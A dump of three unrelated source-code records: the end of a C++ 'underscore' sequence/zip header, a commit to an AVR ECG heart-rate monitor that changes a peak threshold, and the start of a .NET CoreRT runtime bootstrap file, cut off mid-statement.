License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#pragma once\n\n#include \"sequence.hpp\"\n\nnamespace underscore{\n\tclass string;\n\t\n\ttemplate<typename I>\n\tclass range;\n\t\n\t\n\t\/**\n\t * @short Creates an sequence container of the given value. It copies the data.\n\t * \n\t * Example:\n\t * \tconst std::vector<int> v{1,2,3,4};\n\t * \tauto a=_(v);\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<T> _(const T &v){\n\t\treturn sequence<T>(v);\n\t}\n\t\/**\n\t * @short Creates an sequence container of the given value. Perfect forwarding version (std::move)\n\t * \n\t * Example:\n\t * \tauto v=std::vector<int>{1,2,3,4};\n\t * \tauto a=_(std::move(v))\n\t * \n\t * Or:\n\t * \n\t * \tauto a=_(std::vector<int>{1,2,3,4});\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<T> _(T &&v){\n\t\treturn sequence<T>(std::forward<T>(v));\n\t}\n\t\/**\n\t * @short Creates an sequence container with a vector of the elements into the initializer list.\n\t * \n\t * Allows creation directly as:\n\t * \n\t * \tauto a=_({1,2,3,4})\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<std::vector<T>> _(std::initializer_list<T> &&v){\n\t\treturn sequence<std::vector<T>>(std::vector<T>(std::forward<std::initializer_list<T>>(v)));\n\t}\n\t\n\t\/**\n\t * @short Creates ansequence container from two ranges. Useful for subranges.\n\t * \n\t * It needs the ability to copy iterators.\n\t *\/\n\ttemplate<typename I>\n\tinline sequence<range<I>> _(I &&begin, I &&end){\n\t\treturn _(range<I>(begin, end));\n\t}\n\t\n\t\/**\n\t * @short Encapsulate a string.\n\t *\/\n\tstring _(std::string &&s);\n\tstring _(const char *s);\n\n\n\t\/**\n\t * @short zips two lists into one of tuples\n\t * \n\t * Example:\n\t * \tzip({1,2,3,4}, {'a','b','c','d'}) == {{1,'a'},{2,'b'},{3,'c'},{4,'d'}}\n\t * \n\t * This version allows two standard containers\n\t * \n\t * If the lists are uneven (diferent sizes) it creates new elements of the necesary type for the side with less elements:\n\t * \n\t * Example: \n\t * \tzip({1,2}, {'a','b','c','d'}) == {{1,'a'},{2,'b'},{0,'c'},{0,'d'}}\n\t *\/\n\ttemplate<typename A, typename B>\n\tinline sequence<std::vector<std::tuple<typename A::value_type, typename B::value_type>>> zip(const A &a, const B &b){\n\t\ttypedef std::tuple<typename A::value_type, typename B::value_type> ret_t;\n\t\tstd::vector<ret_t> ret;\n\t\tret.reserve(std::max(a.size(), b.size()));\n\t\t\n\t\tauto ia=std::begin(a);\n\t\tauto ea=std::end(a);\n\t\tauto ib=std::begin(b);\n\t\tauto eb=std::end(b);\n\t\twhile (ia!=ea || ib!=eb){\n\t\t\tif (ia==ea){\n\t\t\t\tauto va=typename A::value_type();\n\t\t\t\tret.push_back(std::make_tuple(va, *ib));\n\t\t\t\t++ib;\n\t\t\t}\n\t\t\telse if (ib==eb){\n\t\t\t\tauto vb=typename B::value_type();\n\t\t\t\tret.push_back(std::make_tuple(*ia, std::move(vb)));\n\t\t\t\t++ia;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tret.push_back(std::make_tuple(*ia, *ib));\n\t\t\t\t++ia;\n\t\t\t\t++ib;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ret;\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the first as a initializer list.\n\t *\/\n\ttemplate<typename A_t, typename B>\n\tinline sequence<std::vector<std::tuple<A_t, typename B::value_type>>> zip(std::initializer_list<A_t> &&a, B &&b){\n\t\treturn zip(a, b);\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the two as initializer list.\n\t *\/\n\ttemplate<typename A_t, typename B_t>\n\tinline sequence<std::vector<std::tuple<A_t, B_t>>> zip(std::initializer_list<A_t> &&a, std::initializer_list<B_t> &&b){\n\t\treturn zip(a, b);\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the second as a initializer list.\n\t *\/\n\ttemplate<typename A, typename B_t>\n\tinline sequence<std::vector<std::tuple<typename A::value_type, B_t>>> zip(A &&a, std::initializer_list<B_t> &&b){\n\t\treturn zip(a, b);\n\t}\n};\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ecg.cpp\n * Author: Reece Stevens\n * Start Date: 4.6.15\n *\n * The monitoring functions of the ECG probe for the \n * TEWH Patient Monitor. File still under construction.\n *\n * Function goals:\n * a. Detect the heart rate of the input signal\n * b. Detect abnormalities or changes in signal over time\n *\n * TODO:\n * 1. Fix heart rate function to use display fifo (more stable data)\n * 2. Use system interrupts to call the read() function\n * 3. Remove the arrays from the data structure (not needed)\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\n#include \"Vector.h\"\n#include \"ecg.h\"\n\/\/ To determine heart rate, we need to know how fast \n\/\/ our system is sampling. \n\nvolatile int avg_count = 0;\n\/\/ Constructor\nECGReadout::ECGReadout(int coord_x, int coord_y, int width, int len, int pin, int reset_timer, Adafruit_ILI9341* tft):coord_x(coord_x), coord_y(coord_y), len(len), width(width), pin(pin),reset_timer(reset_timer), tft_interface(tft) {\n\t\/\/ Allocate space for one integer per pixel length-wise\t a\n fifo_multiplier = 9;\n fifo_size = width * fifo_multiplier; \n fifo = Vector<double> (fifo_size);\n\taverager_queue = Vector<double>(5);\n \/\/this->fifo = fifo;\n display_fifo = Vector<double> (width);\n fifo_next = 0;\n fifo_end = 1;\n disp_start = fifo_next;\n disp_end = fifo_end;\n\tcurrent_timer = 0;\n\tbuffer_contents = 0;\n\tscaling_factor = len \/ 500;\n\n}\n\nvoid ECGReadout::draw(){\n\ttft_interface->drawRect(coord_x,coord_y,len,width, ILI9341_BLACK);\n}\n\n\/*\n * read() - read from analog pin and push data into circular fifo\n *\n *\/\nvoid ECGReadout::read(){\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_BLUE);\n\tif (avg_count < 5) {\n\t\tdouble input_num = (double) analogRead(pin);\n\t\tdouble adjusted_num = input_num * len;\n \tadjusted_num = (adjusted_num \/ 1023);\n \t\/\/ Put number in next location in fifo\n\t\taverager_queue[avg_count] = adjusted_num;\n\t\tavg_count += 1;\n \t\/\/int result = fifo.set(fifo_next, adjusted_num);\n\t} else {\n\t\tavg_count = 0;\n\t\tdouble avg;\n\t\tfor (uint32_t k = 0; k < 5; k += 1) {\n\t\t\tavg += averager_queue[k];\n\t\t}\n\t\tavg \/= 5;\n \tint result = fifo.set(fifo_next, avg);\n \tfifo_next = fifo_end;\n \tfifo_end = (fifo_end + 1) % fifo_size;\n\t}\n\n \/\/ Move our trackers\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_CYAN);\n}\n\n\/*\n * display_signal() - clear previous signal and print existing signal onto display\n *\n *\/\nvoid ECGReadout::display_signal(){\n cli(); \/\/ Disable all interrupts\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_GREEN);\n \/\/ Trackers will always round down. Not ideal, but lets us shrink fifo size without much fuss.\n\t\/\/nointerrupts();\n int newest = fifo_next\/fifo_multiplier;\n int oldest = fifo_end\/fifo_multiplier;\n \/\/ Make our copy of the data so we can draw while the analog pin\n \/\/ keeps sampling and updating the buffer.\n Vector<double> new_input_data(fifo);\n sei(); \/\/ Re-enable all interrupts\n\t\/\/interrupts();\n Vector<double> new_display_data(width);\n for (uint32_t i = 0; i < fifo_size; i += fifo_multiplier) {\n double maximum = 0;\n for (uint32_t k = 0; k < fifo_multiplier; k += 1) {\n if (new_input_data[i+k] > maximum) {\n maximum = new_input_data[i+k];\n }\n }\n new_display_data[i\/fifo_multiplier] = maximum; \n }\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_WHITE);\n int i = 0;\n int line_thresh = 10;\n \/\/ Draw over old data in black and new data in white\n while ((((i + oldest + 1) % width) != newest)){\n int k = (i + disp_end) % width; \/\/ Numerical position in old fifo vector (i is pixel location on screen)\n int prev = (i + disp_end + 1) % width; \/\/ Position of data point to be erased on display \n int new_k = (i + oldest) % width; \/\/ Numerical position in new fifo vector (i is pixel location on screen)\n int new_prev = (i + oldest + 1) % width; \/\/ Position of data point to be drawn on display \n \/********* ERASING *********\/ \n if ((display_fifo[k] - display_fifo[prev]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - display_fifo[k]), (display_fifo[k] - display_fifo[prev]), ILI9341_BLACK);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + display_fifo[k]), (display_fifo[k] - display_fifo[prev]), ILI9341_BLACK);\n }\n else if ((display_fifo[prev] - display_fifo[k]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - display_fifo[prev]), (display_fifo[prev] - display_fifo[k]), ILI9341_BLACK);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + display_fifo[prev]), (display_fifo[prev] - display_fifo[k]), ILI9341_BLACK);\n } else { \n \/\/ If not necessary, just color in the pixel\n\t\t tft_interface->drawPixel(coord_x + i, (coord_y + len - display_fifo[k]), ILI9341_BLACK);\n\t\t \/\/tft_interface->drawPixel(coord_x + i, (coord_y + display_fifo[k]), ILI9341_BLACK);\n } \n \/********* DRAWING *********\/ \n if ((new_display_data[new_k] - new_display_data[new_prev]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - new_display_data[new_k]), (new_display_data[new_k] - new_display_data[new_prev]), ILI9341_WHITE);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + new_display_data[new_k]), (new_display_data[new_k] - new_display_data[new_prev]), ILI9341_WHITE);\n }\n else if ((new_display_data[new_prev] - new_display_data[new_k]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - new_display_data[new_prev]), (new_display_data[new_prev] - new_display_data[new_k]), ILI9341_WHITE);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + new_display_data[new_prev]), (new_display_data[new_prev] - new_display_data[new_k]), ILI9341_WHITE);\n } else {\n\t\t tft_interface->drawPixel(coord_x + i, (coord_y + len - new_display_data[new_k]), ILI9341_WHITE);\n }\n\t\t\/\/tft_interface->drawPixel(coord_x + i, (coord_y + new_display_data[new_k]), ILI9341_WHITE);\n\n i += 1;\n }\n \/\/ Catch the last pixel\n\ttft_interface->drawPixel(coord_x + i, (coord_y + len - display_fifo[(i+1)%width]), ILI9341_BLACK);\n \/\/ Store our new display information for next time\n display_fifo = new_display_data;\n disp_start = newest;\n disp_end = oldest;\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_WHITE);\n}\n\n\/*\n * ECGReadout::heart_rate() -- determine period of input signal\n * \n * Measure interval of \"silence\" between waves?\n *\/\nint ECGReadout::heart_rate() {\n double sampling_period = 0.00827; \/\/ time between samples (in seconds)\n int threshold = 50;\n\tint wait = 15;\n\tint start = -1;\n int mid = -1;\n int finish = -1;\n \/\/ Calcluate the finite difference approximation\n for (int i = 0; i < (width - 1); i += 1){\n\t\t\/\/ Find the first peak\n\t\tif ((display_fifo[i] > threshold) && (start == -1)){\n\t\t\tstart = i;\n\t\t\twait = 0;\n\t\t}\n\t\t\/\/ Delay after we find the peak \n\t\t\/\/ so we don't detect another sample on the same peak\n\t\tif (wait < 15) {\n\t\t\twait += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Find the next peak\n\t\tif ((display_fifo[i] > threshold) && (mid == -1)){\n\t\t\tmid = i;\n\t\t\twait = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (wait < 15) {\n\t\t\twait += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Find the next peak\n\t\tif ((display_fifo[i] > threshold) && (finish == -1)){\n\t\t\tfinish = i;\n\t\t\twait = 0;\n\t\t\tbreak;\n\t\t}\n\t}\n double heart_rate1;\n double heart_rate2;\n double heart_rate3;\n if ((mid != -1) && (start != -1)) {\n heart_rate1 = 60 \/ ((mid - start) * sampling_period);\n } else { return 0; }\n if (finish != -1) {\n heart_rate2 = 60 \/ ((finish - mid) * sampling_period);\n heart_rate3 = 120 \/ ((finish - start) * sampling_period);\n } else {return heart_rate1;}\n double maximum = 0;\n if ((heart_rate1 >= heart_rate2) && (heart_rate1 >= heart_rate3)) {return heart_rate1; }\n if ((heart_rate2 >= heart_rate1) && (heart_rate2 >= heart_rate3)) {return heart_rate2; }\n return heart_rate3;\n}\n\n<commit_msg>continuing work<commit_after>\/*\n * ecg.cpp\n * Author: Reece Stevens\n * Start Date: 4.6.15\n *\n * The monitoring functions of the ECG probe for the \n * TEWH Patient Monitor. File still under construction.\n *\n * Function goals:\n * a. Detect the heart rate of the input signal\n * b. Detect abnormalities or changes in signal over time\n *\n * TODO:\n * 1. Fix heart rate function to use display fifo (more stable data)\n * 2. Use system interrupts to call the read() function\n * 3. Remove the arrays from the data structure (not needed)\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\n#include \"Vector.h\"\n#include \"ecg.h\"\n\/\/ To determine heart rate, we need to know how fast \n\/\/ our system is sampling. \n\nvolatile int avg_count = 0;\n\/\/ Constructor\nECGReadout::ECGReadout(int coord_x, int coord_y, int width, int len, int pin, int reset_timer, Adafruit_ILI9341* tft):coord_x(coord_x), coord_y(coord_y), len(len), width(width), pin(pin),reset_timer(reset_timer), tft_interface(tft) {\n\t\/\/ Allocate space for one integer per pixel length-wise\t a\n fifo_multiplier = 9;\n fifo_size = width * fifo_multiplier; \n fifo = Vector<double> (fifo_size);\n\taverager_queue = Vector<double>(5);\n \/\/this->fifo = fifo;\n display_fifo = Vector<double> (width);\n fifo_next = 0;\n fifo_end = 1;\n disp_start = fifo_next;\n disp_end = fifo_end;\n\tcurrent_timer = 0;\n\tbuffer_contents = 0;\n\tscaling_factor = len \/ 500;\n\n}\n\nvoid ECGReadout::draw(){\n\ttft_interface->drawRect(coord_x,coord_y,len,width, ILI9341_BLACK);\n}\n\n\/*\n * read() - read from analog pin and push data into circular fifo\n *\n *\/\nvoid ECGReadout::read(){\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_BLUE);\n\tif (avg_count < 5) {\n\t\tdouble input_num = (double) analogRead(pin);\n\t\tdouble adjusted_num = input_num * len;\n \tadjusted_num = (adjusted_num \/ 1023);\n \t\/\/ Put number in next location in fifo\n\t\taverager_queue[avg_count] = adjusted_num;\n\t\tavg_count += 1;\n \t\/\/int result = fifo.set(fifo_next, adjusted_num);\n\t} else {\n\t\tavg_count = 0;\n\t\tdouble avg;\n\t\tfor (uint32_t k = 0; k < 5; k += 1) {\n\t\t\tavg += averager_queue[k];\n\t\t}\n\t\tavg \/= 5;\n \tint result = fifo.set(fifo_next, avg);\n \tfifo_next = fifo_end;\n \tfifo_end = (fifo_end + 1) % fifo_size;\n\t}\n\n \/\/ Move our trackers\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_CYAN);\n}\n\n\/*\n * display_signal() - clear previous signal and print existing signal onto display\n *\n *\/\nvoid ECGReadout::display_signal(){\n cli(); \/\/ Disable all interrupts\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_GREEN);\n \/\/ Trackers will always round down. Not ideal, but lets us shrink fifo size without much fuss.\n\t\/\/nointerrupts();\n int newest = fifo_next\/fifo_multiplier;\n int oldest = fifo_end\/fifo_multiplier;\n \/\/ Make our copy of the data so we can draw while the analog pin\n \/\/ keeps sampling and updating the buffer.\n Vector<double> new_input_data(fifo);\n sei(); \/\/ Re-enable all interrupts\n\t\/\/interrupts();\n Vector<double> new_display_data(width);\n for (uint32_t i = 0; i < fifo_size; i += fifo_multiplier) {\n double maximum = 0;\n for (uint32_t k = 0; k < fifo_multiplier; k += 1) {\n if (new_input_data[i+k] > maximum) {\n maximum = new_input_data[i+k];\n }\n }\n new_display_data[i\/fifo_multiplier] = maximum; \n }\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_WHITE);\n int i = 0;\n int line_thresh = 10;\n \/\/ Draw over old data in black and new data in white\n while ((((i + oldest + 1) % width) != newest)){\n int k = (i + disp_end) % width; \/\/ Numerical position in old fifo vector (i is pixel location on screen)\n int prev = (i + disp_end + 1) % width; \/\/ Position of data point to be erased on display \n int new_k = (i + oldest) % width; \/\/ Numerical position in new fifo vector (i is pixel location on screen)\n int new_prev = (i + oldest + 1) % width; \/\/ Position of data point to be drawn on display \n \/********* ERASING *********\/ \n if ((display_fifo[k] - display_fifo[prev]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - display_fifo[k]), (display_fifo[k] - display_fifo[prev]), ILI9341_BLACK);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + display_fifo[k]), (display_fifo[k] - display_fifo[prev]), ILI9341_BLACK);\n }\n else if ((display_fifo[prev] - display_fifo[k]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - display_fifo[prev]), (display_fifo[prev] - display_fifo[k]), ILI9341_BLACK);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + display_fifo[prev]), (display_fifo[prev] - display_fifo[k]), ILI9341_BLACK);\n } else { \n \/\/ If not necessary, just color in the pixel\n\t\t tft_interface->drawPixel(coord_x + i, (coord_y + len - display_fifo[k]), ILI9341_BLACK);\n\t\t \/\/tft_interface->drawPixel(coord_x + i, (coord_y + display_fifo[k]), ILI9341_BLACK);\n } \n \/********* DRAWING *********\/ \n if ((new_display_data[new_k] - new_display_data[new_prev]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - new_display_data[new_k]), (new_display_data[new_k] - new_display_data[new_prev]), ILI9341_WHITE);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + new_display_data[new_k]), (new_display_data[new_k] - new_display_data[new_prev]), ILI9341_WHITE);\n }\n else if ((new_display_data[new_prev] - new_display_data[new_k]) > line_thresh){\n tft_interface->drawFastVLine(coord_x + i, (coord_y + len - new_display_data[new_prev]), (new_display_data[new_prev] - new_display_data[new_k]), ILI9341_WHITE);\n \/\/tft_interface->drawFastVLine(coord_x + i, (coord_y + new_display_data[new_prev]), (new_display_data[new_prev] - new_display_data[new_k]), ILI9341_WHITE);\n } else {\n\t\t tft_interface->drawPixel(coord_x + i, (coord_y + len - new_display_data[new_k]), ILI9341_WHITE);\n }\n\t\t\/\/tft_interface->drawPixel(coord_x + i, (coord_y + new_display_data[new_k]), ILI9341_WHITE);\n\n i += 1;\n }\n \/\/ Catch the last pixel\n\ttft_interface->drawPixel(coord_x + i, (coord_y + len - display_fifo[(i+1)%width]), ILI9341_BLACK);\n \/\/ Store our new display information for next time\n display_fifo = new_display_data;\n disp_start = newest;\n disp_end = oldest;\n\t\/\/tft_interface->fillRect(60,0,tft_interface->width()-60,tft_interface->height(),ILI9341_WHITE);\n}\n\n\/*\n * ECGReadout::heart_rate() -- determine period of input signal\n * \n * Measure interval of \"silence\" between waves?\n *\/\nint ECGReadout::heart_rate() {\n double sampling_period = 0.00827; \/\/ time between samples (in seconds)\n int threshold = 40;\n\tint wait = 15;\n\tint start = -1;\n int mid = -1;\n int finish = -1;\n \/\/ Calcluate the finite difference approximation\n for (int i = 0; i < (width - 1); i += 1){\n\t\t\/\/ Find the first peak\n\t\tif ((display_fifo[i] > threshold) && (start == -1)){\n\t\t\tstart = i;\n\t\t\twait = 0;\n\t\t}\n\t\t\/\/ Delay after we find the peak \n\t\t\/\/ so we don't detect another sample on the same peak\n\t\tif (wait < 15) {\n\t\t\twait += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Find the next peak\n\t\tif ((display_fifo[i] > threshold) && (mid == -1)){\n\t\t\tmid = i;\n\t\t\twait = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (wait < 15) {\n\t\t\twait += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Find the next peak\n\t\tif ((display_fifo[i] > threshold) && (finish == -1)){\n\t\t\tfinish = i;\n\t\t\twait = 0;\n\t\t\tbreak;\n\t\t}\n\t}\n double heart_rate1;\n double heart_rate2;\n double heart_rate3;\n if ((mid != -1) && (start != -1)) {\n heart_rate1 = 60 \/ ((mid - start) * sampling_period);\n } else { return 0; }\n if (finish != -1) {\n heart_rate2 = 60 \/ ((finish - mid) * sampling_period);\n heart_rate3 = 120 \/ ((finish - start) * sampling_period);\n } else {return heart_rate1;}\n double maximum = 0;\n if ((heart_rate1 >= heart_rate2) && (heart_rate1 >= heart_rate3)) {return heart_rate1; }\n if ((heart_rate2 >= heart_rate1) && (heart_rate2 >= heart_rate3)) {return heart_rate2; }\n return heart_rate3;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Licensed to the .NET Foundation under one or more agreements.\n\/\/ The .NET Foundation licenses this file to you under the MIT license.\n\/\/ See the LICENSE file in the project root for more information.\n\n#include \"common.h\"\n\n#include \"sal.h\"\n#include \"gcenv.structs.h\"\n#include \"gcenv.base.h\"\n\n#include <stdlib.h> \n\n#ifndef CPPCODEGEN\n\n\/\/\n\/\/ This is the mechanism whereby multiple linked modules contribute their global data for initialization at\n\/\/ startup of the application.\n\/\/\n\/\/ ILC creates sections in the output obj file to mark the beginning and end of merged global data.\n\/\/ It defines sentinel symbols that are used to get the addresses of the start and end of global data \n\/\/ at runtime. The section names are platform-specific to match platform-specific linker conventions.\n\/\/\n#if defined(_MSC_VER)\n\n#pragma section(\".modules$A\", read)\n#pragma section(\".modules$Z\", read)\nextern \"C\" __declspec(allocate(\".modules$A\")) void * __modules_a[];\nextern \"C\" __declspec(allocate(\".modules$Z\")) void * __modules_z[];\n\n__declspec(allocate(\".modules$A\")) void * __modules_a[] = { nullptr };\n__declspec(allocate(\".modules$Z\")) void * __modules_z[] = { nullptr };\n\n\/\/\n\/\/ Each obj file compiled from managed code has a .modules$I section containing a pointer to its ReadyToRun\n\/\/ data (which points at eager class constructors, frozen strings, etc).\n\/\/\n\/\/ The #pragma ... \/merge directive folds the book-end sections and all .modules$I sections from all input\n\/\/ obj files into .rdata in alphabetical order.\n\/\/\n#pragma comment(linker, \"\/merge:.modules=.rdata\")\n\nextern \"C\" void __managedcode_a();\nextern \"C\" void __managedcode_z();\n\n#else \/\/ _MSC_VER\n\n#if defined(__APPLE__)\n\nextern void * __modules_a[] __asm(\"section$start$__DATA$__modules\");\nextern void * __modules_z[] __asm(\"section$end$__DATA$__modules\");\nextern char __managedcode_a __asm(\"section$start$__TEXT$__managedcode\");\nextern char __managedcode_z __asm(\"section$end$__TEXT$__managedcode\");\n\n#else \/\/ __APPLE__\n\nextern \"C\" void * __start___modules[];\nextern \"C\" void * __stop___modules[];\nstatic void * (&__modules_a)[] = __start___modules;\nstatic void * (&__modules_z)[] = __stop___modules;\n\nextern \"C\" char __start___managedcode;\nextern \"C\" char __stop___managedcode;\nstatic char& __managedcode_a = __start___managedcode;\nstatic char& __managedcode_z = __stop___managedcode;\n\n#endif \/\/ __APPLE__\n\n#endif \/\/ _MSC_VER\n\n#endif \/\/ !CPPCODEGEN\n\n\n#ifdef CPPCODEGEN\n\n#pragma warning(disable:4297)\n\nextern \"C\" Object * RhNewObject(MethodTable * pMT);\nextern \"C\" Object * RhNewArray(MethodTable * pMT, int32_t elements);\nextern \"C\" void * RhTypeCast_IsInstanceOf(void * pObject, MethodTable * pMT);\nextern \"C\" void * RhTypeCast_CheckCast(void * pObject, MethodTable * pMT);\nextern \"C\" void RhpStelemRef(void * pArray, int index, void * pObj);\nextern \"C\" void * RhpLdelemaRef(void * pArray, int index, MethodTable * pMT);\nextern \"C\" __NORETURN void RhpThrowEx(void * pEx);\n\nextern \"C\" Object * __allocate_object(MethodTable * pMT)\n{\n return RhNewObject(pMT);\n}\n\nextern \"C\" Object * __allocate_array(size_t elements, MethodTable * pMT)\n{\n return RhNewArray(pMT, (int32_t)elements); \/\/ TODO: type mismatch\n}\n\nextern \"C\" Object * __castclass(void * obj, MethodTable * pTargetMT)\n{\n return (Object *)RhTypeCast_CheckCast(obj, pTargetMT);\n}\n\nextern \"C\" Object * __isinst(void * obj, MethodTable * pTargetMT)\n{\n return (Object *)RhTypeCast_IsInstanceOf(obj, pTargetMT);\n}\n\nextern \"C\" void __stelem_ref(void * pArray, unsigned idx, void * obj)\n{\n RhpStelemRef(pArray, idx, obj);\n}\n\nextern \"C\" void* __ldelema_ref(void * pArray, unsigned idx, MethodTable * type)\n{\n return RhpLdelemaRef(pArray, idx, type);\n}\n\nextern \"C\" void __throw_exception(void * pEx)\n{\n RhpThrowEx(pEx);\n}\n\nvoid __range_check_fail()\n{\n throw \"ThrowRangeOverflowException\";\n}\n\nextern \"C\" void RhpReversePInvoke2(ReversePInvokeFrame* pRevFrame);\nextern \"C\" void RhpReversePInvokeReturn2(ReversePInvokeFrame* pRevFrame);\n\nvoid __reverse_pinvoke(ReversePInvokeFrame* pRevFrame)\n{\n RhpReversePInvoke2(pRevFrame);\n}\n\nvoid __reverse_pinvoke_return(ReversePInvokeFrame* pRevFrame)\n{\n RhpReversePInvokeReturn2(pRevFrame);\n}\n\nnamespace System_Private_CoreLib { namespace System { \n\n class Object {\n public:\n MethodTable * get_EEType() { return *(MethodTable **)this; }\n };\n\n class Array : public Object {\n public:\n int32_t GetArrayLength() {\n return *(int32_t *)((void **)this + 1);\n }\n void * GetArrayData() {\n return (void **)this + 2;\n }\n };\n\n class String : public Object { public:\n static MethodTable * __getMethodTable();\n };\n\n class String__Array : public Object { public:\n static MethodTable * __getMethodTable();\n };\n\n class EETypePtr { public:\n intptr_t m_value;\n };\n\n}; };\n\nObject * __load_string_literal(const char * string)\n{\n \/\/ TODO: Cache\/intern string literals\n \/\/ TODO: Unicode string literals\n\n size_t len = strlen(string);\n\n Object * pString = RhNewArray(System_Private_CoreLib::System::String::__getMethodTable(), (int32_t)len);\n\n uint16_t * p = (uint16_t *)((char*)pString + sizeof(intptr_t) + sizeof(int32_t));\n for (size_t i = 0; i < len; i++)\n p[i] = string[i];\n return pString;\n}\n\nextern \"C\" void RhpThrowEx(void * pEx)\n{\n throw \"RhpThrowEx\";\n}\nextern \"C\" void RhpThrowHwEx()\n{\n throw \"RhpThrowHwEx\";\n}\nextern \"C\" void RhpCallCatchFunclet()\n{\n throw \"RhpCallCatchFunclet\";\n}\nextern \"C\" void RhpCallFilterFunclet()\n{\n throw \"RhpCallFilterFunclet\";\n}\nextern \"C\" void RhpCallFinallyFunclet()\n{\n throw \"RhpCallFinallyFunclet\";\n}\nextern \"C\" void RhpUniversalTransition()\n{\n throw \"RhpUniversalTransition\";\n}\nextern \"C\" void RhpUniversalTransition_DebugStepTailCall()\n{\n throw \"RhpUniversalTransition_DebugStepTailCall\";\n}\n\nvoid* RtRHeaderWrapper();\n\n#endif \/\/ CPPCODEGEN\n\nextern \"C\" void __fail_fast()\n{\n \/\/ TODO: FailFast\n throw \"__fail_fast\";\n}\n\nextern \"C\" void RhpEtwExceptionThrown()\n{\n throw \"RhpEtwExceptionThrown\";\n}\n\nextern \"C\" bool REDHAWK_PALAPI PalInit();\n\n#define DLL_PROCESS_ATTACH 1\nextern \"C\" BOOL WINAPI RtuDllMain(HANDLE hPalInstance, DWORD dwReason, void* pvReserved);\n\nextern \"C\" int32_t RhpEnableConservativeStackReporting();\n\nextern \"C\" void RhpShutdown();\n\n#ifndef CPPCODEGEN\n\nextern \"C\" bool RhpRegisterCoffModule(void * pModule,\n void * pvStartRange, uint32_t cbRange,\n void ** pClasslibFunctions, uint32_t nClasslibFunctions);\n\nextern \"C\" bool RhpRegisterUnixModule(void * pModule,\n void * pvStartRange, uint32_t cbRange,\n void ** pClasslibFunctions, uint32_t nClasslibFunctions);\n\n#ifdef _WIN32\nextern \"C\" void* WINAPI GetModuleHandleW(const wchar_t *);\n#else\nextern \"C\" void* WINAPI PalGetModuleHandleFromPointer(void* pointer);\n#endif\n\nextern \"C\" void GetRuntimeException();\nextern \"C\" void FailFast();\nextern \"C\" void AppendExceptionStackFrame();\n\ntypedef void(*pfn)();\n\nstatic const pfn c_classlibFunctions[] = {\n &GetRuntimeException,\n &FailFast,\n nullptr, \/\/ &UnhandledExceptionHandler,\n &AppendExceptionStackFrame,\n};\n\n#endif \/\/ !CPPCODEGEN\n\nextern \"C\" void InitializeModules(void ** modules, int count);\n\n#if defined(_WIN32)\nextern \"C\" int __managed__Main(int argc, wchar_t* argv[]);\nint wmain(int argc, wchar_t* argv[])\n#else\nextern \"C\" int __managed__Main(int argc, char* argv[]);\nint main(int argc, char* argv[])\n#endif\n{\n if (!PalInit())\n return -1;\n\n if (!RtuDllMain(NULL, DLL_PROCESS_ATTACH, NULL))\n return -1;\n\n if (!RhpEnableConservativeStackReporting())\n return -1;\n\n#ifndef CPPCODEGEN\n#if defined(_WIN32)\n if (!RhpRegisterCoffModule(GetModuleHandleW(NULL),\n#else \/\/ _WIN32\n if 